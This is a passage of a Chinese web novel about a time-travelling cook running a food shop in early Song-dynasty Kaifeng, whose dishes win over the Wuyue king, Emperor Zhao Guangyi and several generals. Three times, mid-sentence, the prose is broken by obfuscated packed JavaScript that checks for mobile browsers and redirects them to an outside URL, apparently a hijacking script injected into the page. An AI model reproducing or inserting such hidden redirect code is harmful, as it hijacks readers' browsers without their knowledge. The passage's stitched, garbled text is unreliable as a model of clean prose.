“喏，这是今日尚未售卖的烧麦、炙羊肉，钱大哥可回去同班直的袍泽们分分。” “心中不爽利？” 钱希祎低下头看看许苏苏垂头丧气的模样，有些不好意思。 “都怪我，给你介绍人没打听清楚。” “那柳三娘，着实是厢主想找个地方打发出去，方才闭口不谈她品行为人。” 就是一个十一二岁的孩子，心思能多到这个地步？ 许苏苏非常不理解。柳儿明明是个上进、勤劳的女孩子。 柳儿既有口齿，又有容貌，就连阿武都说这样的女孩子将来定时能把自己的日子过好。 “不是心思多，是心思恶毒。” 钱希祎简略讲述了从看顾柳儿的兵丁口中听到的计划，从污蔑许苏苏用死羊烂肉，到张家赶走许苏苏，再到柳儿让堂兄开一间新的烧麦店。 许苏苏方才从那惆怅中萌生出一点愤怒，心中庆幸自己并未太过信任柳儿这新来的伙计。 “多亏钱大哥。” “你还谢我，这中山狼可是我送到你身边。” 许苏苏往上提提背篓，笑着说。 “那钱大哥该怎么给我赔罪？” “咱们先去找个人。” 在许苏苏迷惑不解中，钱希祎带着她在城里七拐八拐，走到一处三进的大宅子前。 “这是？” 那宅子上名家题字，许苏苏看不懂，只能凭借直觉辨认出两个字，壮、军？ “还是别了吧。” 许苏苏大概能猜测到钱希祎想做什么，局促地攥紧衣裳，“钱大哥，我只是个卖早餐的姑娘，怎好登厢都指挥使家大门。” “去，去闹事呢。” 钱希祎本以为许苏苏是因自己身份感到自卑，等听到最后一句话时扑哧一笑，真不愧是许娘子。 “咱们今日不是来撒泼闹事，我一个小小押班，就算是官家亲军，也没那么大胆子来一军军主家闹事。” “咱们去给你讨要公道。” 讨要公道的过程非常顺利，许苏苏在不敢置信中得知自己即将拥有一份正式‘城市户口’后，险些在这位壮城军厢都指挥使面前跳起来，握紧人家的手说两句谢谢。 那位厢主倒好说话，听钱希祎说许苏苏差点被柳儿祸害的失去店铺，便立刻表示要为许苏苏担保，买下现在所租赁的房屋。 许苏苏如梦似幻，走出厢主家大门。 “嘿嘿，嘿嘿。” “许娘子？” “四娘子？” “欸嘿嘿。” “许苏苏，回神！” 钱希祎猛拍巴掌，才叫回许苏苏得意洋洋中飘出去的魂儿。 “可我得用人。” 欢喜劲儿过了，许苏苏开始忧愁自家店铺人手情况。 “前段日子我去金明池附近摆摊子，引来许多食客要到店里尝尝我家东西，正是人多的时候，少了一个人，怎么周转开呢？” “这倒是，请牙人招徕人手，须得有两三日时间适应。” 钱希祎看了看许苏苏，看了看许苏苏背篓里的食材，“不若我给你做几日伙计。” 许苏苏愣住，随即就要拒绝。 “那怎么好，钱大哥你是富贵人家的公子，是君，君子。” 许苏苏从没觉得自己依靠卖早餐为生是一件令人自卑的事情，可是许苏苏也知道，古代社会是一个讲究阶级的地方，怎好让钱希祎来自家店中打杂，招致别人嘲笑呢？ “我是个军汉，又不是士子。” 钱希祎爽朗大笑，“君子远庖厨是读书人的道理，咱们这些军汉平日里哪个没干过生火做饭的事儿。” “就算是勋贵人家的公子哥儿，不也是个粗人？” 钱希祎拍拍胸脯，“许娘子，尽管使唤我。” 许苏苏想了想，从怀里钱袋掏出一把铜钱，“这是今日的工钱，还请钱大哥和我一道去采买些食材。” 钱希祎以一种非常新奇的姿态接过这约莫一百五十文大钱，在手里掂量掂量，莫名生出奇异的感觉。 “嘿，这。” 钱希祎摸摸后脑勺，“本是我识人不清，给许娘子招了好大麻烦，怎好要你的工钱？你一日三餐供给饭食就行。” 出身尊贵，年轻俊朗的军卒并不知道，自己赚钱的感觉是如此奇妙，在许苏苏将一百五十枚大钱塞到他怀里时，只会憨厚且傻气的笑笑。 “许娘子又要琢磨什么新奇菜式？” 两人步行到肉行买上一只整羊，一大瓶秋油和甜酱，整羊令屠户分成两扇，一人背篓中背着一扇。 是的，征得许苏苏同意后，钱希祎立刻去卖竹篮人那儿购得一只匹配他身形的竹背篓。 “今日回去，要做红煨羊蹄及爆羊肉。” 许苏苏侧过脸儿，笑眯眯说道。 “还请钱大哥品鉴这两道新菜。” 说新菜色，钱希祎立刻干劲十足，脚下步伐快上好几分，见许苏苏慢吞吞在路上观察叫卖人和货郎，便拉起她的手。 “许娘子，那咱们快快回去！” “哎呦，钱大哥，这么想吃新菜式？” “咳咳咳，这不是为了店家的生意更好些。” 说着，两人都哈哈哈笑起来。 红煨的原理，基本上和红烧肉差不多。 首先将羊肉、羊蹄加上葱姜一同焯水，焯水这个过程中须得不断撇去产生的浮沫，许苏苏聚精会神，而钱希祎看的津津有味。 肉煮到泛白，就要开始炒糖色。 炒制食品的技艺，在宋一代逐渐形成并走向成熟，可现在却是一种新奇的技艺。炒糖色，这种即便在炒制食物技艺中也算得上中等难度的技巧，很快吸引钱希祎全部心神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547490|204211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 油温逐渐升高，许苏苏伸出手感受油的温度，适合之后，下入大块糖霜。 随着成块糖霜融化在热油中，甜腻的味道弥散开，许苏苏不断翻动锅铲，防止粘锅、糊锅。 细密的泡泡开始出现，许苏苏从手边拿起水倒进去。 “下羊肉！” 钱希祎立刻将羊肉倒进去，许苏苏开始翻炒。 翻炒上糖色，煸炒爆香，淋入黄酒，加入时人称之为秋油，实则酱油的调料，再加入采买到十分昂贵的香料、大葱。 喷香扑鼻的味道让钱希祎大咽口水，似乎已经想到过一会儿这食物该有多么美味。 “好了，炖煮一个时辰。” 许苏苏见钱希祎盯着锅里上下浮沉的羊肉目不转睛，颇觉的他有趣儿。 “怎得，钱大哥，见了好吃的便移不开眼睛？” 钱希祎觉出失态，不好意思的笑了笑。 “还不是许娘子厨艺高超，就算是我，都没吃过这么好的东西。” 说着，钱希祎又有些不好意思。 “那个，许娘子。” “钱大哥，怎么了？” “可否额外给我装一份，我想送给叔祖父。” 今日早上那场冲突，许苏苏心中对钱希祎身份猜测落到实处，而钱希祎更不是个会遮遮掩掩原本就有的身份之人，此刻直接说要给叔祖父送一份很正常。 “这，算在我工钱当中。” 酥软肥烂的许苏苏版红煨羊肉端上桌，钱希祎很认真的朝她说道。 “好。” 许苏苏没有说不要钱之类的话，这是朋友的合理订购，若执意免费赠送，反倒让钱希祎觉得不自在。 “真是，炖煮了一个时辰，酥软肥烂，味道咸甜可口，正是叔祖父喜爱的口味。” 那当然，将东坡肉这一美食发扬光大的不正是杭州人士？ “既是抚育了钱大哥的叔祖父，我也应当小做表示，以示晚辈对长辈的尊崇。” 一大盆羊肉和整盘拍黄瓜下肚，两人实在是吃不下其他东西，一道瘫坐在座位上消食。 许苏苏拿出自己的秘制腌菜，得意洋洋朝着钱希祎说道，“这可是我自己个儿才舍得吃的腌菜，清爽开胃，钱王若胃口不好，正适合吃这个。” 油亮的白菜上裹着一层红色酱料，正是朝鲜族名食辣白菜，但无辣椒版。 “这，这着实美味。” 微微的辛辣和酸甜，足以让人胃口大开，而红润油亮的色泽便是看着都令人喜欢。 “这红色，是如何做到？” “好生喜庆的色泽。” “此乃红曲米水炒制。” 许苏苏神神秘秘说道，因为没有辣椒素作用，制作出的辣白菜很可能是黄褐色或淡黄色，但是许苏苏是这么容易服输的人吗？ 不是！ “此菘菜，甚是美味。” 在这个朝代缺少什么材料，许苏苏便一个个实验新的材料，转遍整个东京城的集市后，凑齐了菘、食茱萸、花椒粉、芥末、姜末及虾酱等等食材，成功复刻出这道至少要在明代才出现的美味。 这也造成一件事，辣白菜虽是美味，可不能当做小店的免费咸菜使用，因为制作工艺复杂，成本太高。 拿来送人刚刚好。 9. 贵客登门 钱希祎小心收起那一坛辣白菜，用油纸包好坛口，放到自家竹篓里。 “苏苏，多谢你。” 钱王年高，又背井离乡来到中原地方，未免偶有心思郁结之事，胃口不好是自然。 下面的小辈各有进献软烂易克化的食物，酸甜开胃的饮子与名家秘制的香橙、李子丸药，可惜背井离乡之人的愁绪哪里是几道吃惯了的家乡菜式能缓解一二？ 因此，吃到许苏苏独家秘制辣白菜和红煨羊肉、羊蹄时，钱王只觉新奇。 “稍稍有些辛辣味道。” 钱王家宅中，一个身材魁梧的中年男人尝了一口，层次分明的辛辣鲜甜味在舌尖绽开，中年人只觉得此物口齿生津，吃来好有趣味儿。 “吃起来像是花椒粉、茱萸子调味。” “鲜味是怎么来的？” 中年人拨弄拨弄着通天冠上北珠，似是被这句话问倒，“卿家这便问住我，我着实品尝不出鲜味是从何而来？” 尽管年过五十，这位吴越钱王脸上生出许多细小皱纹，可骨相依旧带着江南水乡的温婉绰约，此刻品尝到足以开胃的新鲜美食，又进补几日益气驱寒的羊肉，脸上那点病容也少去很多。 “回官家、叔祖的话，此乃虾酱。” 钱希祎跪在下面，朗声回答道。 两人兴味盎然，“是那许娘子告诉你？” 钱希祎呈送上一张油纸包好的方子，乃是许苏苏请他写就，以呈献给钱王，聊作晚辈孝心。 钱王笑着令人接过方子，“哦呦呦，怎么把这个送来？” 无论在什么时代，饮食秘方、丸药秘方乃是生财的不二法门，寻常人家能当作传家宝，富贵人家若有几张家传饮食方子，也能当作值得夸耀的事情。 “这许娘子倒是大方，便宜了咱们。” 中年人示意身边近侍，抄录一份，回宫中给尚食局的人看看。 “您也真是，小娘子、小郎君们交好，倒叫您沾了便宜。” 钱希祎为鲁国公的话悄悄在心底抹了抹冷汗，“回鲁国公的话，晚辈们是想着令长辈能多进饭食，尊长喜欢就好。” “哈哈，瞧瞧，我听你们都头说，你平日里是班直中第一爽利人，到了咱们这些人这儿反而忸怩起来。” 潘美哈哈大笑，“好像生怕咱们吃了你和那小许娘子似的。” “韩国公说笑，晚辈只是头一次觐见天颜，十分紧张，不知该说些什么。” “啊哈哈哈，我在这儿倒是吓唬到孩子们了。” 见官家笑起来，钱惟治便温声同钱希祎说，“大郎，这儿有我和叔叔伯伯侍奉，还不去厨房吩咐他们将许娘子赠送给你的食物烹制，官家和诸位大人都等着呢。” 钱希祎如蒙大赦，赶忙叩头称是，朝在座的诸位大人物行礼退出。 “你家大郎结交的朋友好生厉害。” 饶是潘美，也折服在羊肉烧麦和炙羊肉的美味之下，前几日在宫宴上吃到之后一直念念不忘，这才伙同一样嘴巴馋的曹彬、石守信和赵普一道温顺小意同官家进言，一同来到钱王宅第，品尝美食。 本觉得身为天子，总是过府看望臣下，到底是会让田锡那老匹夫非议，赵光义起先还颇为踌躇，但加上这几位勋臣，以共品钱家小辈带来的民间佳肴为理由，自是理直气壮前来钱王宅第看望挚友。 “你今日多用了半碗米饭。” “大郎有孝心。” 赵光义口中嚼嚼嚼个不停，不仅是钱王，他自己个儿今日都多吃了两碗米饭。 若非许苏苏想着钱家乃是大族，人口众多，食物少了不够分，给钱希祎装了满满一背篓食物，还不够这几位军中积年的老将吃呢。 真是有趣儿，第二日来做工的钱希祎兴致勃勃朝许苏苏讲述昨日的事情，想象一下诸位历史人物像仓鼠一样嚼嚼嚼自己做的食物，许苏苏便觉得十分有趣儿。 有一种历史书活过来的感觉。 小店前日经历了一场风波，客流没见少，反而在心中有愧且心虚的厢主宣传下，许多军汉慕名前来购买许记烧麦。 前一天晚上和当日早上包制的六百只烧麦，只消两个时辰，就全都卖光。 “咳咳，店家。” 两个锦衣华服的魁梧中年人来到店中，撩开衣袍，坐到凳子上。 “客人有什么想吃的？” 阿武上前询问。 “红煨羊肉、红煨羊蹄……” “你们店家的招牌，都上一份。” 许苏苏正在后厨忙碌，要为今日下午开始售卖小炒菜做准备。 前边和阿武一道收拾店铺，招待客人的便是钱希祎。 见了这两人，钱希祎大为惊讶。 “两位国……” “咳咳咳，咳咳咳。” 这两人自是潘美与曹彬，昨日吃得嘴馋，听说今日许苏苏要卖小炒菜，赶忙就来了。 “客人，咱们这些客人，就想吃一口店家手艺。” 潘美着重强调，重音念叨客人二字，让钱希祎有些哭笑不得。 “真是碰巧。” 许苏苏从厨房走出，拿了一张菜单，“客人想吃什么，今日食材完备，都能做。” “老曹，咱们还吃这个？” “哎呀，吃点新鲜的，就知道吃你的羊肉烧麦！” 曹彬肘开老友拿菜单的手，招呼钱希祎过来。 “小伙计，你来说说我们该点什么？” 尊长在前，钱希祎真找到一点做食肆伙计的感觉，深感有趣儿的同时，小心陪笑道。 “本店招牌是这道红烧肉。” “红烧肉？” 曹彬语调略显疑惑，因为他听到钱希祎说，红烧肉主要用料为豚肉，也就是猪肉。 宋初，距离魏晋几百年，绝大部分公卿没有猪乃贱食的挑剔毛病，尤其是潘美、曹彬这样半生戎马的将军，更不会因为猪肉价廉而生出不悦。 “想来味道不错？” “非常不错，比那红煨羊肉还要好！” 听了钱希祎这样推荐，两人被激发出兴趣，“那就这个，这个，还有那个。” “再来一大份红烧肉。” 潘美、曹彬一道点了五个菜，分别是红烧肉、冷淘胡瓜、爆羊肉、春韭鸡蛋和烧茄子。 这五道菜，总共花费两百三十文。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547491|204211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>潘美起先还觉，两百三十文能有多少东西，两百多文钱顶多能在樊楼买一块果子，雇佣厨娘一日的工钱都发不出来，老家伙嘴里嘟囔老伙计不吃些实惠东西，反倒要花两百多文尝个野趣儿，平白上当。 可当满满一大盘子菜摆在眼跟前儿，潘美和曹彬就顾不得碎嘴子闲扯，争论是该吃点这样小小脚店该有的特色，还是点一桌子菜。 “这等盘子？怕是平常人家用来祭祀装祭肉的。” “怪道说小许娘子劝咱们少点两道菜，老曹，这你能吃得了？” 两人询问过钱希祎，得知接下来的菜基本就是这份量，有些发愁，都是见识过乱世的人，要说吃一点剩出许多，那自然舍不得。 要说都吃了，两个老家伙年纪不小，恐怕回去就得找大夫。 “单单是这菜分量，便足够咱们那两百三十文花费。” 曹彬说完这话，朝店外叫了一句，“周五，去给老赵说一声，过来一道吃饭。” 赵普的居所就在利仁坊，骑着马，小半炷香就能到。 一来一回的功夫，菜刚好上齐。 “这，咱们仨吃得了吗？” 在朝堂上阴险的同平章事，面对五份比脸盘子还要大的菜，以及堆叠成小山的肉，问出和两个同僚一样的灵魂问题。 “叫大郎也来。” “两百三十文，好生实惠。” 询问过价格，赵普不由得说了一句，“当真是物有所值。” 两位同僚已顾不上回答赵普，两双筷子一会儿夹一块肉，一会儿夹一点菜，就着米饭吃得津津有味。 “可有酒？” “没有。” 钱希祎拿出许苏苏熬制的酸梅饮，“回各位客人的话，小店有这个。” “这是大郎给我带的酸梅饮？” 赵普笑起来，“我正惦念，刚好喝一些。” “两位不若尝尝。” 赵普先给自己斟上一杯，“酸甜解腻，正配这什么红烧肉。” 先前赵普带炙羊肉喝羊肉烧麦到金明池宴席上，两人只顾喝酒，没喝这酸梅饮，此刻将信将疑接过来喝了一口，更是赞不绝口。 酸甜可口的饮子，刚好冲淡了大量食用红烧肉带来的油腻感。 “食不厌精，脍不厌细。” “如此做，刚刚好。” 韭菜鸡蛋饼赢得了赵普的喜爱，毕竟富贵至极已有几十年，再精细的食物都吃过，这样粗犷、质朴且做法简单的美食正合这位老人的胃口。 只是，潘美很不解。 “钱家大郎，为何许娘子不去上等人家佣作厨娘？” 曹彬更是疑惑，“擅长不少菜色，还能包制点心，熬煮饮子，小许娘子随便去一中等人家，也能赚上不少。” “自在惯了，不是能到人家家中做活的性格。” 许苏苏同阿武收拾完后厨，到了前边，就听到三人在询问自己为何不去人家家中做厨娘。 因而笑着说，“开个店铺，无拘无束。” “若到了人家家中，早起也要管，晚睡也要管，妾身自然是受不得。” “客人觉得今日的饭菜还可入口？” 10. 小炒菜 “自是美味。” 赵普从潘美筷子下抢走最后一块儿韭菜鸡蛋饼，“无拘无束，自由自在，随性所欲，许娘子竟有些魏晋之风。” “乡野村妇，只图安逸舒坦，做个水中浮游，林中小虫，朝生暮死，哪里担得起贵人此言。” 见许苏苏说话风趣儿，面对锦衣华服的客人也不卑不亢，落落大方，三人都赞赏，“钱家大郎交得好朋友。” 一餐用完，潘美额外加上一小块碎银，当做给大厨师的赏。 许苏苏十分惊喜，额外附赠给潘美、曹彬和赵普许多店中赠菜。 “咳咳，苏苏。” 等到人走了，钱希祎方才敢大喘气儿。 “你想知道方才那几位，都是什么人嘛？” 许苏苏笑着摇头，“不都是食客。” 此话让钱希祎也跟着笑起来，“东主心胸，我不及也。” “诺，钱大哥。” 许苏苏知道，方才来的几人约莫在朝中是个顶顶的高官，可许苏苏并不觉得自己须得卑躬屈膝，小心服侍，甚至于谄媚讨好。 日落西山，钱希祎该回去时，许苏苏又为他装上一大坛子腌菜。 “啊呀，苏苏你这是做什么？” 许苏苏从钱袋里拿出一百二十文钱，“这个顶钱大哥三十文工钱。” 钱希祎这两日时常被许苏苏塞些吃食，起初还能以两人交情，加之吃食所耗费的钱财都算到工钱当中而接受。 但在许记烧麦店做活两日，钱希祎发觉许苏苏平日里劳作很是辛苦，所赠送给自己的吃食大多要晚间才有功夫制作。 如此劳烦，怎好再受人家赠与？ “哪里是给你的。” 许苏苏将钱塞进钱希祎怀中，“钱王思念家乡，饮食不振。” 许苏苏背起背篓，“我很懂那种感觉。” 她站在街上，朝钱希祎告别。 “身在外乡，能多吃一碗饭，家乡的亲人也会很开心吧。” 听了这话，钱俶却几乎叹息起来，“哪里有什么亲人？只剩下你们这些孩子罢了？” 许苏苏送来的小菜是腌萝卜，清脆爽口的萝卜加上醋、磨制的细盐、香油和一小把葱花，味道简单，清利爽口，钱俶就着这叠小菜，多吃了一碗米粥。 不同于精细菜肴丰富层次的口感，腌萝卜品尝起来只有一种感觉，清脆爽口，味道微甜。 这颇有些北地风味儿的食物，让坐在下首的钱家第二代子孙，吃得津津有味。 “乡愁难解，能多吃一碗饭，也是好的。” “这小娘子，有心了。” 赵光义笑了笑，随即有些赫然，颇有点恼羞成怒之感绝的指点指点跪在地上的钱希祎，“好孩子，多让那许娘子做些开封菜式呈送给你叔祖父，北地的面食也很好嘛。” “这银两，都从我账上出。” 赵光义没敢叫钱俶知道，若是叫人知道，便该是又担惊受怕，自觉失言。 钱希祎将事情始末都告知许苏苏，许苏苏听了官家那话更是笑个不停。 “一点小腌菜，怎就分北地与江南风味？” “能开人胃口，便很好了。” 两人在许苏苏小宅子里嘀嘀咕咕半天官家与钱王相处，方才意犹未尽去寻过几日要用的食材。 “鱼刺少，鱼肉肥，腥味儿可以靠饿。” 按照这个办法，两人在鱼市上拣选合适的鱼类。 “郎君和娘子要什么鱼？” 许苏苏选定的卖鱼人是一名三十岁包着头巾的青壮店家，无他原因，这家店能被许苏苏选中的唯一原因，是干净整洁。 偌大两个木桶里，水质清澈，鱼儿游的欢快。 “都有什么鱼？可有鱼刺少的大肥鱼？” “有的有的。” 这位店家门口人流是多，但是店中客人稀少，偶有来客，也会因店中仅有两只木桶望而却步。 因此，店家只能将鱼供给大酒楼、富贵人家。 许苏苏误打误撞，方才进入此店中， 拣选了五六条肥嫩鲈鱼，许苏苏犹且意犹未尽。 这店中的鱼儿着实新鲜，正适合她想做的几道鱼食。 “为何选鲈鱼？” “苏苏要做鱼脍么？” 不知不觉间，两人相视已有两月，钱希祎对许苏苏的称呼，也从起先稍有拘谨的许娘子，变成更亲昵的苏苏。 许苏苏不觉此事有什么问题，其实在她看来，好友之间称呼名字、小名才算得上关系亲近，毕竟是个现代人，一直叫许娘子，她总有些不自在。 钱希祎则不同，与许苏苏相处中，他深深为这位来自偏小山村的小娘子所折服。 他从许苏苏身上感受到与东京城中那些养尊处优大家小姐截然不同的旺盛生命力，他是贵公子不假，同样也是个年纪还小时就被扔进军中摔打的军汉，这样旺盛的生命力，正是他所喜爱，所赞赏的。 不知不觉间，在他还未察觉到时，就已经越过了朋友的界限。 “不做那些。” 许苏苏神神秘秘，在钱希祎耳边耳语几句，然后钱希祎也露出个坏笑。 “我去向伯伯请求。” 钱希祎与钱王血脉非常接近，只是那一支只剩下他一人，因此才被钱王收到膝下，充作养孙。 所说的伯伯，自然是钱王长子，钱惟治。 起先，听到钱希祎说计划请父亲到许记用饭时，钱惟治沉着脸，很是不悦地训斥钱希祎道。 “好个大郎，折腾你祖父做甚？你们小儿家胡闹，还能拉上你祖父。” “可伯伯，许娘子说要大展身手，为叔祖一解乡愁。” 钱希祎苍蝇搓手，“这两日叔祖时常坐在寝室，望向南方，偶尔还能听到他老人家口中念一句‘迷津欲有问，平海夕漫漫’。” 前朝孟襄阳思乡之句啊。 钱王诸子中，当属钱惟治最长，父亲对家乡如此思念，难道他便不会如此？ “乡泪客中尽，孤帆天际看。” “啊呀，你这孩子说这个做什么？” 不知不觉，钱惟治将上句话对出，说罢自己也赶忙住口。身在大宋，钱家为钟鸣鼎食之人家，富贵可谓至极，要说思念家乡，那便惹人笑话了。 “咳咳，你这孩子。” 钱惟治捋捋胡须， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547492|204211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “若能叫你祖父开怀，我定然重重赏你。” 这便是答应，且会为他和许苏苏在官家面前遮掩了。 钱希祎嘿嘿一笑，“明日请伯伯叫几个可靠健壮小厮扈从叔祖，苏苏家虽在大相国寺，可就怕有什么不相干之人。” “臭小子，你能想到，我难道想不到。” 可钱惟治、钱希祎没想到的事儿还真发生了。 “官，官，官。” 钱希祎纵管再是个大胆大包天之人，此刻也哆嗦着说不出一句话。 装扮成富家老爷的赵光义挑眉道，“怎得不成？” 人到中年但依旧健硕魁梧的赵光义，穿上圆领窄袖锦袍，龙行虎步，十分威严。 “不敢，只是晚辈好友家中逼仄，恐怕怠慢官家。” “咱们在军营时，哪个会嫌弃这个，嫌弃那个。” 同样穿着一身圆领窄袖袍服的潘美哈哈大笑，“还不快快带路。” 曹彬沉默不语，但目光中也颇有期待。 显然，这几位大人物是要去借着钱王的光，蹭饭！ “殿下，还请上座。” 没想到许苏苏从邻人家中借来宴会用的长桌子，将家中布置一番，此刻坐席上有了主位和次位的区分。 若不是这些长辈和官家虎视眈眈，钱希祎肯定要懊恼大叫自己真是个蠢蛋，光顾着担心官家真的驾临许宅，怎么把苏苏要宴请叔祖，特地询问公卿之家如何设宴这件事给忘了。 都怪我这个蠢蛋，钱希祎赶紧凑到许苏苏身边，想说几句话，一双大掌就将他拉扯到身边。 “殿下，还请上座。” 赵光义笑眯眯拍了拍钱希祎肩膀，“咱们这些人不拘坐在哪儿，今日乃是东家宴请钱王，怎好与人相争的。” 潘美和曹彬自是附和。 钱俶无奈的看了看正洋洋自得的官家，叹息一声，坐在上首。 “还请许娘子呈上美食。” “钱大哥，还不来端菜。” 许苏苏先是朝钱俶见礼，然后风风火火开始布设宴席。 “清蒸鲈鱼、冰糖肘子、糖丝茭白、烩三鲜、蛤蜊粉丝汤、蟹酿橙、蒜烧牡蛎……” 整张长桌，都摆满了菜！ 钱俶微微睁大双眼，“许娘子准备了多久？” “哈哈，不过半日功夫。” 许苏苏拍拍小胸脯，“还请殿下品鉴。” 因整桌菜式，大多为清淡鲜甜，饶是久病的钱俶也不由得食指大动，而见官家动了筷子，潘美和曹彬两个已经颇不雅观的在嘴里塞满了菜。 “城中善烹者众，能做这么多菜式的，只有你一个。” 赵光义每样食物都动了两筷子，随即挑选自己最喜爱的冰糖肘子专心食用。 “回贵人的话，妾身喜爱烹饪，自然会钻研些旁门左道，久而久之，竟学会了不少菜色。” 这并非许苏苏吹嘘，反而有点自谦。 旁门左道？ 前世，她可是粉丝过百万的美食博主，做各色美食，是她的本职工作。 复原古菜，创制新菜，许苏苏在食物上下的苦功夫，比些积年的老厨师还要多。 11. 蒸鱼豉油 “小娘子毋要自谦，此等厨艺，就是宫中也少有人能匹敌。” 许苏苏观察，来赴宴的一行人中，隐隐以那健硕魁梧且十分威严的中年人为首，中年人问话时，其他人从不会插嘴或是打断。 再想到以钱王尊崇的身份，能令他缄默不语的，便只有一个人。 许苏苏心中有几分计较，于是回答道。 “瞎琢磨的东西，哪里比得上尚食局的大师傅。” 赵光义笑而不语，继续专心享用那只冰糖肘子。 “此乃紫苏饮、酸梅饮、梨汁和李子茶，请诸位品鉴。” 四样饮品，皆置于白瓷杯中，放在鼻尖下细闻，皆是果香扑鼻。 四人喝的更是满意。 钱王格外钟爱紫苏饮，许苏苏便特地为他准备只大碗，斟满饮子。 “无有好酒，却吃的如此尽兴。” 宴会结束，回程路上，潘美感叹道。 “可见许娘子厨艺高妙精湛，寻常厨娘罕能匹敌。” 曹彬和潘美对宴会回味无穷，两人在马上叨叨叨个不停，赵光义和钱俶坐在马车上，对坐品味许苏苏神神秘秘塞给的果茶。 “你可不用担心大郎结交坏朋友。” 赵光义摸摸怀里许苏苏给的饮子配方，笑着说。 “臣哪里担心这个。” 钱俶叹息道，“大郎仿佛，很喜欢那位小娘子啊。” 侍候官家着实令人费心费力，钱希祎瘫坐在椅子上，有气无力从盘子里夹了一筷子鲈鱼，蘸上料汁放进嘴里。 “苏苏，你怎就不害怕。” 他迷惑不解。 许苏苏笑了笑，“秘密。” 哪里有什么泰山崩于前而面不改色的胆量，是一个来自现代的灵魂最后的倔强罢了。 “此物名叫蒸鱼豉油。” 钱希祎很快抛却了恐惧，沉浸在美食给人身心带来的愉悦中。 清蒸鲈鱼中的料汁，甘美鲜甜，配上软嫩鱼肉，让人回味无穷。 钱希祎格外喜爱这道菜，特地询问那料汁是何物。 蒸鱼豉油？ “便是豉汁调配的。” 许苏苏回答道，“这味佐料，是咱们小店第一秘方。” 酿造调配蒸鱼豉油，乃是许苏苏依靠前世一位酒店大厨给出的配方，自行改良而来，味道非常接近现代蒸鱼豉油，配上饿过两日去腥味的鲈鱼，对于古代人而言，可谓是味觉上的降维打击。 “我看叔祖很喜爱此物，苏苏可否售卖给我一坛。” 钱希祎似是觉得这话有些不妥，从怀里拿出一整块碎金，放到桌子上。 “我只让家中厨娘使用，此物定不会外流到其他酒楼。” 许苏苏叹息起来，“钱大哥，还不快快收起来。” “咱们之间，说这些生分。” “若是尝过此物就能推出配方，世上便全都是名厨了。” 许苏苏指点指点院中大缸，“五百文能酿造一缸，你给七文钱，自己寻个罐子来装。” 钱希祎却坚持要送给许苏苏那一块少说有二两的碎金，“拿起来，你采买那许多食材难道不是钱？” “我感激你让我叔祖开怀，可是也不能平白占朋友便宜。” 在钱希祎坚持下，许苏苏只得收起那块碎金。 歇息两日，许记小店重新开张。 这是钱希祎休沐第九日，到了明天，他要上值，因此寻找一位伙计成了今日最重要的事。 牙行的牙婆被许苏苏催促两三日，今天终于带着一个十二三岁的小女孩儿登门。 “许娘子，人给你找到了。” 牙婆‘登门服务’只有一个原因，许苏苏给出牙婆一个远高于介绍一名伙计所得费用两倍的银钱。 牙婆很是热情，将那怯生生的女孩儿拉出来，朝许苏苏介绍到。 “许娘子，这是杏儿。” “我知道您想收个孩子当学徒，可是废了大力气挑选出这孩子，聪明、悟性高。” 许苏苏脸颊抽搐，上一个这么说的人还是钱希祎和那厢主家管家交好的牙人，介绍来一名叫柳儿的小娘子，那牙人至今欠着许苏苏十倍赔偿没还。 “得安分。” 牙婆闻言更是咯咯咯笑个不停，“您的事儿，老柳和咱们都说过，我知道您怕什么。” 牙婆用力拍了拍杏儿的肩膀，“这苦命孩子，家中有九个兄弟姐妹，娘是个瘫子，爹一人在码头做活，上面还有二老，都是不能动的病人，若不是官府有救济，该是把孩子们都卖了才能过活。” 许苏苏神情微动，“婆婆想说什么？” “若不能来您这儿做活，杏儿的爹要将她许给卖鱼的牛儿了。” 那卖鱼的牛儿，许苏苏略有耳闻，是州桥附近顶顶有名的混子，与张大茂比也不遑多让。 这杏儿娘子有十五岁吗？ 许苏苏皱着眉头打量杏儿时，杏儿也在观察这位许东主。 “婚事定下来了？” 许苏苏询问到。 牙婆哎呀一声，说哪里有这么快，杏儿的娘可怜小女儿要嫁给这么个人，绝食了五六日，劝说自家官人给杏儿条活路呢。 许苏苏再次沉默。 杏儿却走出牙婆身后，“东家，杏儿，杏儿能做很多活。” 只说了这句话，牙婆便赶忙拍打杏儿的手，“啊呀，小孩子家家，插什么嘴。” “我，我，我力气大，能干重活！” 女孩儿结结巴巴，看向围着一件围裙的许苏苏。 “我其实要收徒。” 牙婆听到这话，恍然大悟，明白为什么许苏苏给自己两倍银钱，嘱托她好生寻找个身世合适的女娃。 “这可是大机缘。” 随即牙婆有些为难，“您看的上杏儿吗？” 